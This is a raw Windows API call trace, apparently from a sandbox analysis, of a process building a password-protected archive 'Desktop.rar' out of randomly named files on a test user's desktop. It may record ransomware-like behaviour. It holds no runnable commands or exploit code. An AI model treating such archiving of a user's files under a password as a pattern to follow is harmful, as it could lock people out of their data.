GetMessageW (in: lpMsg=0x1bd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd300) returned 1 [0063.632] GetFocus () returned 0x10232 [0063.632] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd300) returned 1 [0063.632] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.632] SetFilePointer (in: hFile=0x198, lDistanceToMove=8432623, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x80abef [0063.632] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x80abef [0063.632] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494c0 [0063.632] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494f0 [0063.632] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c494f0, Size=0x48) returned 0x34e340 [0063.632] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.632] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494f0 [0063.632] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c494f0, Size=0x48) returned 0x34e390 [0063.632] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.632] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.632] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494f0 [0063.632] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49520 [0063.632] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49520 | out: hHeap=0x290000) returned 1 [0063.633] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c494f0 | out: hHeap=0x290000) returned 1 [0063.633] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c494c0, Size=0x48) returned 0x34e340 [0063.633] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0063.633] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x70, lpOverlapped=0x0) returned 1 [0063.633] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494c0 [0063.633] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x70) returned 0x299dfc0 [0063.633] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.633] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.633] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x81e4af [0063.633] CloseHandle (hObject=0x1b0) returned 1 [0063.633] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 1 [0063.633] GetMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0063.633] GetFocus () returned 0x10232 [0063.633] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd5b0) returned 1 [0063.633] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.633] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 1 [0063.633] GetMessageW (in: lpMsg=0x1bd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd650) returned 1 [0063.633] GetFocus () returned 0x10232 [0063.633] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd650) returned 1 [0063.633] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.633] FindFirstFileW (in: lpFileName="wfNksu nJRG5\\RFLcwh3Vitv1c_T4nL.avi", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.634] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.634] CreateFileW (lpFileName="wfNksu nJRG5\\RFLcwh3Vitv1c_T4nL.avi" (normalized: "c:\\users\\whuoxysd\\desktop\\wfnksu njrg5\\rflcwh3vitv1c_t4nl.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.634] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.634] GetTickCount () returned 0xa663e3 [0063.634] GetLastError () returned 0x0 [0063.634] SetLastError (dwErrCode=0x0) [0063.634] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0063.634] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0063.634] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbdb0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0063.634] SetWindowTextW (hWnd=0x10218, lpString=" 0%") returned 1 [0063.634] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0063.635] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.635] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.635] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.635] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.635] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="qHh6uE8iAnd.xls") returned 15 [0063.635] SetWindowTextW (hWnd=0x10216, lpString="RFLcwh3Vitv1c_T4nL.avi") returned 1 [0063.635] GetTickCount () returned 0xa663e3 [0063.635] UpdateWindow (hWnd=0x1020e) returned 1 [0063.635] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.635] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0063.635] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0063.635] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0063.635] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x144)) [0063.635] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0063.635] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=84386496912) returned 1 [0063.636] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x15073, lpOverlapped=0x0) returned 1 [0063.636] ReadFile (in: hFile=0x1b0, lpBuffer=0x37a50b3, nNumberOfBytesToRead=0xeaf8d, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x37a50b3*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0063.636] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.636] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.637] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494f0 [0063.637] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49520 [0063.637] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49520, Size=0x48) returned 0x34e390 [0063.637] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.637] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49520 [0063.637] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49520, Size=0x48) returned 0x34e340 [0063.637] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.637] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.637] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49520 [0063.637] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49550 [0063.637] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49550 | out: hHeap=0x290000) returned 1 [0063.637] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49520 | out: hHeap=0x290000) returned 1 [0063.637] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c494f0, Size=0x48) returned 0x34e390 [0063.637] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0063.637] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.637] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.638] GetTickCount () returned 0xa663e3 [0063.638] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=84386775422) returned 1 [0063.638] GetTickCount () returned 0xa663e3 [0063.638] GetLastError () returned 0x0 [0063.638] SetLastError (dwErrCode=0x0) [0063.638] GetDlgItem (hDlg=0x1020e, nIDDlgItem=154) returned 0x10220 [0063.638] GetWindowTextW (in: hWnd=0x10220, lpString=0x1bc130, nMaxCount=2560 | out: lpString="00:11:16") returned 8 [0063.638] SetWindowTextW (hWnd=0x10220, lpString="00:11:51") returned 1 [0063.639] GetTickCount () returned 0xa663e3 [0063.639] GetLastError () returned 0x0 [0063.639] SetLastError (dwErrCode=0x0) [0063.639] GetDlgItem (hDlg=0x1020e, nIDDlgItem=151) returned 0x10224 [0063.639] GetWindowTextW (in: hWnd=0x10224, lpString=0x1bc130, nMaxCount=2560 | out: lpString="00:00:30") returned 8 [0063.639] SetWindowTextW (hWnd=0x10224, lpString="00:00:16") returned 1 [0063.639] GetTickCount () returned 0xa663e3 [0063.639] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd108 | out: ppv=0x1bd108*=0x3c494f0) returned 0x0 [0063.639] TaskbarList:ITaskbarList3:SetProgressState (This=0x3c494f0, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0063.639] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3c494f0, hwnd=0x1020e, ullCompleted=0x91d7aa, ullTotal=0x954fe3) returned 0x0 [0063.640] TaskbarList:IUnknown:Release (This=0x3c494f0) returned 0x0 [0063.640] GetLastError () returned 0x36b7 [0063.640] SetLastError (dwErrCode=0x36b7) [0063.640] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0063.640] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0063.640] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 95%") returned 5 [0063.640] SetWindowTextW (hWnd=0x1022e, lpString=" 97%") returned 1 [0063.640] GetLastError () returned 0x0 [0063.640] SetLastError (dwErrCode=0x0) [0063.640] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0063.640] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 88%") returned 5 [0063.640] SetWindowTextW (hWnd=0x1022a, lpString=" 89%") returned 1 [0063.640] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x5f [0063.640] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 1 [0063.640] GetMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0063.640] GetFocus () returned 0x10232 [0063.640] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd5b0) returned 1 [0063.641] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.641] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.641] ResetEvent (hEvent=0x1a4) returned 1 [0063.641] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.642] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.642] ResetEvent (hEvent=0x1a4) returned 1 [0063.642] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.645] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.645] ResetEvent (hEvent=0x1a4) returned 1 [0063.645] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.647] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.647] GetTickCount () returned 0xa663f3 [0063.647] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=84387678791) returned 1 [0063.647] GetTickCount () returned 0xa663f3 [0063.647] GetTickCount () returned 0xa663f3 [0063.647] GetTickCount () returned 0xa663f3 [0063.647] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.647] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.648] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.648] ResetEvent (hEvent=0x190) returned 1 [0063.648] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.648] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.648] ResetEvent (hEvent=0x190) returned 1 [0063.648] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.649] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.649] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.649] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.649] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x81e4af [0063.649] SetFilePointer (in: hFile=0x198, lDistanceToMove=119, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x81e526 [0063.649] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0063.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.649] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0063.649] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0063.649] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0063.649] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x15150, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x15150, lpOverlapped=0x0) returned 1 [0063.650] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.651] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.651] SetFilePointer (in: hFile=0x198, lDistanceToMove=8512687, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x81e4af [0063.651] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x81e4af [0063.651] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494f0 [0063.651] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49520 [0063.651] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49520, Size=0x48) returned 0x34e340 [0063.651] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.651] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49520 [0063.651] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49520, Size=0x48) returned 0x34e390 [0063.651] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.651] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.651] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49520 [0063.651] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49550 [0063.651] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49550 | out: hHeap=0x290000) returned 1 [0063.651] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49520 | out: hHeap=0x290000) returned 1 [0063.651] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c494f0, Size=0x48) returned 0x34e340 [0063.651] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0063.651] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x77, lpOverlapped=0x0) returned 1 [0063.651] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c494f0 [0063.651] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x77) returned 0x299e040 [0063.651] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.651] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.651] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x833676 [0063.651] CloseHandle (hObject=0x1b0) returned 1 [0063.651] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.651] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.651] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.651] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.651] FindFirstFileW (in: lpFileName="wfNksu nJRG5\\WIsnHaDYoZ0.ppt", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.651] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.651] CreateFileW (lpFileName="wfNksu nJRG5\\WIsnHaDYoZ0.ppt" (normalized: "c:\\users\\whuoxysd\\desktop\\wfnksu njrg5\\wisnhadyoz0.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.651] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.651] GetTickCount () returned 0xa663f3 [0063.651] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.651] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.651] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.651] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.652] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="RFLcwh3Vitv1c_T4nL.avi") returned 22 [0063.652] SetWindowTextW (hWnd=0x10216, lpString="WIsnHaDYoZ0.ppt") returned 1 [0063.652] GetTickCount () returned 0xa663f3 [0063.652] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.652] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0063.652] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0063.652] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0063.652] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x154)) [0063.652] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0063.652] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=84388168487) returned 1 [0063.652] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x6a52, lpOverlapped=0x0) returned 1 [0063.653] ReadFile (in: hFile=0x1b0, lpBuffer=0x3796a92, nNumberOfBytesToRead=0xf95ae, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3796a92*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0063.653] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49520 [0063.653] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49550 [0063.653] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49550, Size=0x48) returned 0x34e390 [0063.653] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.653] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49550 [0063.653] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49550, Size=0x48) returned 0x34e340 [0063.653] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.653] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.653] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49550 [0063.653] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49580 [0063.653] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49580 | out: hHeap=0x290000) returned 1 [0063.653] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49550 | out: hHeap=0x290000) returned 1 [0063.653] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49520, Size=0x48) returned 0x34e390 [0063.653] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0063.653] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.653] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.655] GetTickCount () returned 0xa663f3 [0063.655] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=84388441405) returned 1 [0063.655] GetTickCount () returned 0xa663f3 [0063.655] GetTickCount () returned 0xa663f3 [0063.655] GetTickCount () returned 0xa663f3 [0063.655] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.655] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.655] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.656] ResetEvent (hEvent=0x1a4) returned 1 [0063.656] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.746] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.746] ResetEvent (hEvent=0x1a4) returned 1 [0063.746] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.747] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.748] GetTickCount () returned 0xa66451 [0063.748] GetLastError () returned 0x0 